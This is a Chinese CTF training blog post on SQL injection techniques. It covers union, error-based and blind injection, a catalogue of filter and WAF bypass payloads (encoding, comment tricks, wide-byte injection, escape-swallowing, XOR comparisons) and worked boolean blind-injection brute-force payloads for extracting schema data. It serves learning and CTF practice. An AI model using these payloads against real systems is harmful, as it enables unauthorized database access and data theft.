1. 程式人生 > >CTF-web Xman-2018 第六天 sql注入

CTF-web Xman-2018 第六天 sql注入

對於新的題目,不能侷限於自己以前的trik,這是一個誤區。其實做題,主要還是看有什麼功能,掃一下路徑和資訊,需要根據它具有的功能來測試可能有的漏洞。

每個惡意的payload都需要我們對測試進行觀察,會有什麼錯誤,為什麼會這樣。猜測後臺程式碼是怎麼寫的。

還有一個需要防範的就是誤導,一個題目很可能偽裝成另外一個題目,而實際上卻是另外的東西。

 

HTTP協議

對各個欄位的理解,前面也有資料了。https://mp.csdn.net/mdeditor/82797208

        url後面?use=123#100 #表示的錨 ,跟服務端沒關係 用來定位顯示的標籤或者行位置的 注入用%23代替# 否則被截斷

        前面可以加賬戶密碼 http://[email protected]:127.0.0.1:8080/index.php,這種方式從來沒有聽說過,確實是一個很有意思的東西

        host 可以從全域性變數中直接獲取。

 

SQL注入

這個具體特也不多數,就說一些講到的點,大多數的在前面的注入文章中都有

union 聯合注入

有回顯,直接union select很方便。列需要對齊,所以需要先猜列數。支援填充自己的結果,主查詢得不到結果,子查詢也可以得到結果

報錯注入

雖然會報錯,但語句被執行,會在錯誤的返回頁面提供給我們查詢的結果

盲注

頁面被處理,不會顯示具體的報錯內容,但是依舊會可以得到是否正確,成功失敗兩個頁面是不一樣的。根據一點一段進行測試,比如資料庫的名字的第一個字元是否大於多少小於多少

        (substring(database(),1,1))=“a”       

        也可以ascii(字元表示式)比較ascii   

        select * from users where user='xx' and pass>'123'

        也可以if(1,2,3) 第一個引數為表示式 正確返回2 錯誤返回3

        我們也可以通過延時函式自己判斷 sleep(5),頁面延時返回

繞過方式總結(詳細)

1.1常用註釋符:

 -- ,--+ ,/**/, #

1.2 大小寫繞過

select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;

1.3內聯註釋繞過

select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;

1.4雙關鍵字繞過

?id=1+UNIunionON+SeLselectECT+1,2,3–

1.5 編碼繞過

雙重url編碼,這個得遇到特殊題目可以這麼做,後臺可能程式碼如下:

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

  16進位制繞過

   select * from sql_test where id = 3 union select  * from sql_test where username = 0x74657374;

    char繞過

  select  * from sql_test where username = char(116)+char(101)+char(115)+char(116);

1.6 空格繞過

用雙空格/製表符代替嘗試,用/**/當做空格,用括號包起來進行,用回車代替空格,反引號`的使用

select(id)from(sql_test)where(id=1);
select/**/id/**/from/**/sqp_test/**/where/**/id=1
url中%0a為回車 替換一下
mysql> select
    -> id
    -> from
    -> sql_test
    -> where
    -> id
    -> =
    -> 1
    -> ;
select   username        from    sql_test        where   id=1    ; # tab
select*from`sql_test`where`id`=1;  #反引號

1.7 等於號繞過

攔截了等於號,我們可以用like去代替:

select * from sql_test where username like 'admin';

1.8 逗號繞過

在使用盲注的時候,需要使用到substr(),mid(),limit;這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from for的方式來解決,limit則可以用offset

' or ascii(mid(username from 1 for 1)='a' 

select * from sql_test limit 1 offset 1;

1.9 大於號小於號攔截繞過

在使用盲注的時候,在爆破的時候需要使用到比較操作符來進行查詢。如果無法使用比較操作符,那麼就需要使用到greatest,strcmp,in,between來進行繞過了,這些bool函式我們使用or and等邏輯判斷進行爆破

or greatest(ascii(substr(username,1,1)),1)=97;
or   substr(username,1,1)  between 0x61 and 0x65

我們可以使用一些邏輯運算,&& || ^來判斷數值 返回的也是bool

1.10 單引號繞過

 

寬位元組注入 過濾單引號時,可以試試寬位元組

    %bf%27 %df%27 %aa%27

%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜槓\,變成了 %df\’,其中\的十六進位制是 %5C ,那麼現在%df\’ =%df%5c%27,如果程式的預設字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字元,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。

第二欄位逃逸

name = 'admin\'   password= ' or(1)#'  //輸入引數
sql = "select * from user where name = '' and password = '' "    //語句
結果如下:
sql = "select * from user where name='admin\' and password=' or(1)#'" 
                                          被註釋           閉合  註釋
最後的形式是 '語句1' or(1)--》語句2 不能使用'的規則被繞過  因為前後兩個引數組合出來了完整的閉合

當一個sql語句,name和password是從一個變數中獲取的,那麼構造引數=/**/or(1)#\
username='/**/or(1)#\' or nickname='/**/or(1)#\'
or(1)#成功逃逸, 前面的自主閉合

%1$吞噬

單引號會被轉義成\',使用%1$吃掉後面的斜槓,而不引起報錯

 "select * from user where username = '%1$\' and 1=1#' and password='%s';";

雙註釋逃逸

當網站是使用轉義進行過濾時,我們可以手動在加一個轉義

username = 'as\\' or ascii(substr(database(),1,1))=='a'# '
              兩次轉義 ’逃逸了

1.11 常用連線語句符號

or,and,union,&&,||,^

這裡尤其注意這些邏輯字元,可以用來繞過=<>等

前面的就不說了

ascii(substr(database(),1,1))^12

if(ascii(substr(database())^123,1,1),'qqq','www')

盲注語句 (%23,  --+,)表示註釋

▲left(database(),1)>'s'             //left()函式

Explain:database()顯示資料庫名稱,left(a,b)從左側擷取a的前b位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+       //substr()函式,ascii()函式

Explain:substr(a,b,c)從b位置開始,擷取字串a的c長度。Ascii()將某個字元轉換為ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函式,MID()函式

Explain:mid(a,b,c)從位置b開始,擷取a字串的c位

Ord()函式同ascii(),將字元轉為ascii值 

 

對於mysql資料庫的schema的特殊查詢方式,我們就不在多說,在sql注入小節中已經有詳細的了

表名和庫名可以通過特殊獲取。我們在做注入的時候,需要仔細思考的是怎麼楊繞過waf。嘗試時,使用控制變數法,單獨測試每個特殊的字元,就可以知道什麼被牆了,然後才去相應的方法

 

資料型別轉換利用

SELECT * FROM users where name='root' | 'a'#   型別轉換後 0|0 字串轉數字變為0  name=0
• SELECT * FROM users where username='a'=0#    username!=0
• SELECT * FROM users where username=' '*' '#  相乘也是0

例題(簡單的布林盲注)

先是資料庫長度 as' length(database())=1#
username=as%27+or+length%28database%28%29%29%3d§§%23&password=123
            ' 空 空       (          (  )  )  = 爆破欄位             //Bp模式numbers 1-20-1 

猜解資料庫名稱 as' or ascii(substr(database(),1,1))=10#
username=as%27+or+ascii%28substr%28database%28%29%2C3%2C1%29%29%3D§10§%23&password=234
            ' 空 空     (         (          (  )  ,3 , 1  )  ) =  10    //同上 區間為1-177
也可以猜測字母更簡直一下 as' or substr(database(),1,1)='§a§'#
獲得了前三個字元為sql,最後一個可以這樣
                      as' or left(database(),4)='sql§§'#
   得到sql1

到資料庫之後,爆破錶。然後就是使用group_concat concat 和limit函式逐條返回資料庫中的表名 判斷長度和字元

lengt(select * from sql1 limit 0,1)# 爆第一個欄位的長度
substr((select * from sql1 limit 0,1),1,1)#  爆第一個欄位的第一個字元

# mysql判斷
length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=5#  
# 獲取第一個表名字的長度

# (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#  
# 返回第一條表名,判斷第一位的ascii =limit 1,1 控制猜測的表 substr(,1,1)控制猜測的字元位置


例如爆出來表名users,繼續獲取欄位 可以先獲取長度
(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>123#

大師傅第二題

過濾了空格,我們可以使用/**/繞過

 

大師傅第三題

過濾了<>=等,還加了很多的牆,沒有過濾異或^ 。使用if語句

?code=if((select(mid(database(),1,1))),name,price) #可以判斷是否有查詢結果,但是沒有確定的返回值

#我們返現^沒有被過濾,使用異或 對每個字元單個的判斷
if((select(mid(database(),1,1))^xxxxxx),name,price)   #如果完全一致就可以返回
# 匹配和不匹配返回的不一樣

關於最後的這兩個方法我想在多說兩句,有些sql注入的題目存在諸多的限制,通過hex函式將返回的數值進行16進行編碼,然後使用^與特定的16進行運算,這種操作也是前不久才接觸到。可以記作一個點吧,但是注意字串的擷取和恢復,因為有時可能無法一次獲得所有資料,我們就需要將截斷之後再hex編碼,有些時候甚至要求更嚴格,我們需要進行兩次hex編碼,得到的數值我們需要逆推得到原來資料,這個地方要細心。

 

參考文章有的寫得很棒

https://www.cnblogs.com/drkang/p/8644399.html

http://www.cnblogs.com/Vinson404/p/7253255.html

https://blog.csdn.net/whatday/article/details/61912578

https://www.cnblogs.com/vincy99/p/9642882.html

https://www.jb51.net/article/109114.htm